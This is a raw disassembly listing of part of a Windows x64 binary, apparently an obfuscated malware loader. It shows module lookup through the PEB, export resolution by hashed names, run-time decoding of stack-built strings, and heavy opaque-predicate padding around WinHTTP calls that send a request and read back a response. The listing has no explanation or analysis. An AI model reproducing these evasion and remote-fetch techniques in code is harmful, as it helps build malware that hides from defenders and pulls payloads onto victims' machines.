call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003ed31
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x88]
cvttsd2si eax, xmm0
jmp 0x14003ed35
mov eax, dword [rsp + 0x64]
cmp r14d, eax
jge 0x14003ede1
mov byte [rsp + 0x960], 0x96
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x961], xmm0
mov qword [rsp + 0x971], rax
mov word [rsp + 0x979], ax
mov qword [rsp + 0x50], r14
mov rax, qword [rsp + 0x50]
cmp rax, 0x1b
jae 0x14003edc7
movabs rbx, 0xdd5ae908f0faa643
nop dword [rax]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rsp + rax + 0x960]
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
add cl, 0x2b
add cl, dl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0x960], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x1b
jb 0x14003ed80
lea rdx, [rsp + 0x960]
lea rcx, [rsp + 0x1b08]
call fcn.140001d00
jmp 0x140040ba3
mov byte [rsp + 0x980], 0xff
mov byte [rsp + 0x981], 0x39
mov byte [rsp + 0x982], 0xff
mov byte [rsp + 0x983], 0x3b
mov byte [rsp + 0x984], 0xee
mov byte [rsp + 0x985], 0x3d
mov byte [rsp + 0x986], 0x3c
mov byte [rsp + 0x987], 0x3f
xor eax, eax
mov qword [rsp + 0x988], rax
mov byte [rsp + 0x990], al
mov qword [rsp + 0x88], r14
mov rax, qword [rsp + 0x88]
cmp rax, 0x11
jae 0x14003eeb9
movabs rbx, 0x8a1de9bf6e093777
nop dword [rax]
nop word [rax + rax]
mov rcx, qword [rsp + 0x88]
mov rax, qword [rsp + 0x88]
movzx edx, byte [rsp + rax + 0x980]
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
sub cl, 0x41
add cl, dl
mov rax, qword [rsp + 0x88]
mov byte [rsp + rax + 0x980], cl
mov rax, qword [rsp + 0x88]
inc rax
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x88]
cmp rax, 0x11
jb 0x14003ee60
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rdi, r14
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r11d, dword [rax + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x14003ef5a
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x14003ef5a
mov r10d, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r10]
movzx eax, byte [rcx + r9]
lea rdx, [rcx + 1]
add rdx, r9
test al, al
je 0x14003ef55
mov ecx, 0x9e4d656b
mov rbx, rdx
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rbx + 1]
mov rbx, rdx
test al, al
jne 0x14003ef30
cmp ecx, 0x779eef88
je 0x14003f0b8
test r8d, r8d
jne 0x14003ef00
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r14
je 0x14003ef70
cmp qword [rax + 0x30], 0
je 0x14003ef70
mov al, 1
jmp 0x14003ef72
xor al, al
test al, al
jne 0x14003eed0
xor r14d, r14d
mov eax, r14d
mov dword [rsp + 0x30], 0x800000
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x980]
mov rcx, r13
call rax
mov r12, rax
mov qword [rsp + 0x88], rax
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rdx*4]
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003f751
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mov rax, r14
test r12, r12
sete al
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm1, xmm0
movsd qword [rsp + 0x98], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003f0d9
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14003f0d9
mov ebx, 7
jmp 0x14003f174
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov eax, dword [rcx + rax*4]
add rax, r9
xor r14d, r14d
jmp 0x14003ef80
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003f170
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x98]
cvttsd2si ebx, xmm0
jmp 0x14003f174
mov ebx, dword [rsp + 0x64]
call fcn.140003790
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, ebx
test eax, eax
je 0x14003f751
mov rdx, qword [0x14007d190]
test rdx, rdx
jne 0x14003f3a4
mov r11d, r14d
mov r10d, 0x351cdb8b
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r13, qword [rax]
mov rsi, r13
nop
movups xmm0, xmmword [rsi + 0x58]
movd eax, xmm0
sub ax, 8
test r11d, r11d
je 0x14003f250
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x28e59d5f
cmp rcx, r8
je 0x14003f247
mov rbx, rcx
nop dword [rax]
nop word [rax + rax]
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
lea rcx, [rbx + 2]
mov rbx, rcx
cmp rcx, r8
jne 0x14003f230
cmp edx, r11d
jne 0x14003f36d
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r12, rcx
shr r12, 0x20
mov edi, ecx
add rdi, r9
cmp rdi, r9
je 0x14003f36d
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x14003f36d
mov r15d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r15]
movzx eax, byte [rcx + r9]
lea rdx, [rcx + 1]
add rdx, r9
mov ecx, 0x28e59d5f
test al, al
je 0x14003f2d9
mov rbx, rdx
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rbx + 1]
mov rbx, rdx
test al, al
jne 0x14003f2c0
cmp ecx, r10d
je 0x14003f2e8
test r8d, r8d
jne 0x14003f290
jmp 0x14003f36d
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
cmp rdx, rdi
jbe 0x14003f311
lea rax, [rdi + r12]
cmp rdx, rax
jae 0x14003f311
mov al, 1
jmp 0x14003f313
xor al, al
test al, al
je 0x14003f4d8
mov r11d, 0x28e59d5f
mov r10d, r11d
movzx eax, byte [rdx]
cmp al, 0x2e
je 0x14003f347
nop dword [rax + rax]
movsx eax, al
xor eax, r11d
imul r11d, eax, 0x1000193
inc rdx
movzx eax, byte [rdx]
cmp al, 0x2e
jne 0x14003f330
inc rdx
movzx eax, byte [rdx]
cmp al, 0
je 0x14003f369
movsx eax, al
xor eax, r10d
imul r10d, eax, 0x1000193
lea rdx, [rdx + 1]
movzx eax, byte [rdx]
test al, al
jne 0x14003f351
mov rsi, qword [r13]
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r13
je 0x14003f383
cmp qword [rax + 0x30], 0
je 0x14003f383
mov al, 1
jmp 0x14003f385
xor al, al
test al, al
jne 0x14003f1f0
xor r14d, r14d
mov edx, r14d
mov qword [0x14007d190], rdx
mov r13, qword [rsp + 0x58]
mov r15, qword [rsp + 0x50]
mov rcx, r13
call rdx
mov rdx, qword [0x14007d1e8]
test rdx, rdx
jne 0x14003f590
mov r11d, r14d
mov r10d, 0x861b69b9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r13, qword [rax]
mov rsi, r13
nop dword [rax]
movups xmm0, xmmword [rsi + 0x58]
movd eax, xmm0
sub ax, 8
test r11d, r11d
je 0x14003f440
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x1f589365
cmp rcx, r8
je 0x14003f437
mov rbx, rcx
nop dword [rax]
nop word [rax + rax]
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
lea rcx, [rbx + 2]
mov rbx, rcx
cmp rcx, r8
jne 0x14003f420
cmp edx, r11d
jne 0x14003f55d
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r12, rcx
shr r12, 0x20
mov edi, ecx
add rdi, r9
cmp rdi, r9
je 0x14003f55d
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x14003f55d
mov r15d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r15 + r8*4]
mov ecx, dword [rax + r9]
movzx eax, byte [rcx + r9]
lea rdx, [rcx + 1]
add rdx, r9
mov ecx, 0x1f589365
test al, al
je 0x14003f4c9
mov rbx, rdx
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rbx + 1]
mov rbx, rdx
test al, al
jne 0x14003f4b0
cmp ecx, r10d
je 0x14003f4e0
test r8d, r8d
jne 0x14003f480
jmp 0x14003f55d
xor r14d, r14d
jmp 0x14003f393
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
cmp rdx, rdi
jbe 0x14003f509
lea rax, [rdi + r12]
cmp rdx, rax
jae 0x14003f509
mov al, 1
jmp 0x14003f50b
xor al, al
test al, al
je 0x14003f57f
mov r11d, 0x1f589365
mov r10d, r11d
movzx eax, byte [rdx]
cmp al, 0x2e
je 0x14003f537
nop
movsx eax, al
xor eax, r11d
imul r11d, eax, 0x1000193
inc rdx
movzx eax, byte [rdx]
cmp al, 0x2e
jne 0x14003f520
inc rdx
movzx eax, byte [rdx]
cmp al, 0
je 0x14003f559
movsx eax, al
xor eax, r10d
imul r10d, eax, 0x1000193
lea rdx, [rdx + 1]
movzx eax, byte [rdx]
test al, al
jne 0x14003f541
mov rsi, qword [r13]
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r13
je 0x14003f573
cmp qword [rax + 0x30], 0
je 0x14003f573
mov al, 1
jmp 0x14003f575
xor al, al
test al, al
jne 0x14003f3e0
xor edx, edx
mov qword [0x14007d1e8], rdx
mov r13, qword [rsp + 0x58]
mov r15, qword [rsp + 0x50]
mov rcx, r15
call rdx
call fcn.140003750
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003790
movsx r8d, al
mov edx, edi
imul edx, ebx
lea ebx, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rbx*2]
add eax, r8d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x58], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003f690
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14003f690
mov eax, 7
jmp 0x14003f728
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003f724
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x58]
cvttsd2si eax, xmm0
jmp 0x14003f728
mov eax, dword [rsp + 0x64]
xor r14d, r14d
cmp r14d, eax
jge 0x14003f749
lea rdx, [0x140073888]
lea rcx, [rsp + 0x1b08]
call fcn.140001d00
jmp 0x140040ba3
mov r12, qword [rsp + 0x88]
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rdx*8]
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140040720
mov byte [rsp + 0x9a0], 0xb6
mov byte [rsp + 0x9a1], 0xb9
mov byte [rsp + 0x9a2], 0xb8
mov byte [rsp + 0x9a3], 0xbb
xorps xmm0, xmm0
movups xmmword [rsp + 0x9a4], xmm0
mov qword [rsp + 0x58], r14
mov rax, qword [rsp + 0x58]
cmp rax, 0x14
jae 0x14003f827
movabs r8, 0xa0e15d02c03fd497
nop dword [rax]
mov rdx, qword [rsp + 0x58]
mov rax, qword [rsp + 0x58]
movzx ebx, byte [rsp + rax + 0x9a0]
add rdx, r8
movzx eax, bl
and al, dl
add al, al
sub bl, al
sub bl, 0x21
add bl, dl
mov rax, qword [rsp + 0x58]
mov byte [rsp + rax + 0x9a0], bl
mov rax, qword [rsp + 0x58]
inc rax
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
cmp rax, 0x14
jb 0x14003f7e0
mov r9d, dword [rsp + 0x9a0]
mov byte [rsp + 0x9c0], 0xb6
mov byte [rsp + 0x9c1], 0xb9
mov byte [rsp + 0x9c2], 0xb8
mov byte [rsp + 0x9c3], 0xbb
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x9c4], xmm0
mov word [rsp + 0x9d4], ax
mov qword [rsp + 0x58], r14
mov rax, qword [rsp + 0x58]
cmp rax, 0x16
jae 0x14003f8c7
movabs r8, 0xeb7f4a9a6f306f47
nop
mov rdx, qword [rsp + 0x58]
mov rax, qword [rsp + 0x58]
movzx ebx, byte [rsp + rax + 0x9c0]
add rdx, r8
movzx eax, bl
and al, dl
add al, al
sub bl, al
add bl, 0xf
add bl, dl
mov rax, qword [rsp + 0x58]
mov byte [rsp + rax + 0x9c0], bl
mov rax, qword [rsp + 0x58]
inc rax
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
cmp rax, 0x16
jb 0x14003f880
mov r8d, dword [rsp + 0x9c0]
mov byte [rsp + 0x9e0], 0xcc
mov byte [rsp + 0x9e1], 0xcd
mov byte [rsp + 0x9e2], 0xca
mov byte [rsp + 0x9e3], 0xcb
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x9e4], xmm0
mov dword [rsp + 0x9f4], eax
mov word [rsp + 0x9f8], ax
mov byte [rsp + 0x9fa], al
mov qword [rsp + 0x58], r14
mov rax, qword [rsp + 0x58]
cmp rax, 0x1b
jae 0x14003f977
movabs r10, 0x99798e7778ff8ca2
nop dword [rax]
mov rdx, qword [rsp + 0x58]
mov rax, qword [rsp + 0x58]
movzx ebx, byte [rsp + rax + 0x9e0]
add rdx, r10
movzx eax, bl
and al, dl
add al, al
sub bl, al
sub bl, 0x6e
add bl, dl
mov rax, qword [rsp + 0x58]
mov byte [rsp + rax + 0x9e0], bl
mov rax, qword [rsp + 0x58]
inc rax
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
cmp rax, 0x1b
jb 0x14003f930
movsxd rax, dword [rsp + 0x9e0]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], r8d
mov dword [rsp + 0x20], r9d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
movd xmm2, eax
cvtdq2pd xmm2, xmm2
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x58], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003fa58
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14003fa58
mov ebx, 7
jmp 0x14003faf0
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003faec
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x58]
cvttsd2si ebx, xmm0
jmp 0x14003faf0
mov ebx, dword [rsp + 0x64]
call fcn.140003790
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, ebx
test eax, eax
je 0x140040720
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140040720
xor edx, edx
mov rcx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
movd xmm2, eax
cvtdq2pd xmm2, xmm2
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x58], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003fc43
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14003fc43
mov ebx, 7
jmp 0x14003fcdb
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003fcd7
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x58]
cvttsd2si ebx, xmm0
jmp 0x14003fcdb
mov ebx, dword [rsp + 0x64]
call fcn.140003790
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx ecx, al
imul edx, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rdx*4]
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, ebx
test eax, eax
je 0x140040720
mov byte [rsp + 0xa00], 0xb6
mov byte [rsp + 0xa01], 0xb5
mov byte [rsp + 0xa02], 0xb4
mov byte [rsp + 0xa03], 0xb3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0xa04], xmm0
mov byte [rsp + 0xa14], al
mov qword [rsp + 0x58], r14
mov rax, qword [rsp + 0x58]
cmp rax, 0x15
jae 0x14003fdb8
movabs rbx, 0x47e78e0b3f546c69
mov rcx, qword [rsp + 0x58]
mov rax, qword [rsp + 0x58]
movzx edx, byte [rsp + rax + 0xa00]
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
add cl, 0x21
add cl, dl
mov rax, qword [rsp + 0x58]
mov byte [rsp + rax + 0xa00], cl
mov rax, qword [rsp + 0x58]
inc rax
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
cmp rax, 0x15
jb 0x14003fd71
mov eax, dword [rsp + 0xa00]
mov dword [rsp + 0x1558], eax
lea rdx, [0x140073888]
lea rcx, [rsp + 0x1a88]
call fcn.140001d00
nop
mov r14d, dword [rsp + 0x1558]
mov r15d, dword [rsp + 0x1558]
nop dword [rax + rax]
lea r9, [rsp + 0x1558]
mov r8d, 0x1000
lea rdx, [rsp + 0x2b90]
mov rcx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
movd xmm2, eax
cvtdq2pd xmm2, xmm2
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x58], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003fec9
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14003fec9
mov r14d, 7
jmp 0x14003ff5c
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003ff5c
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x58]
cvttsd2si r14d, xmm0
call fcn.140003790
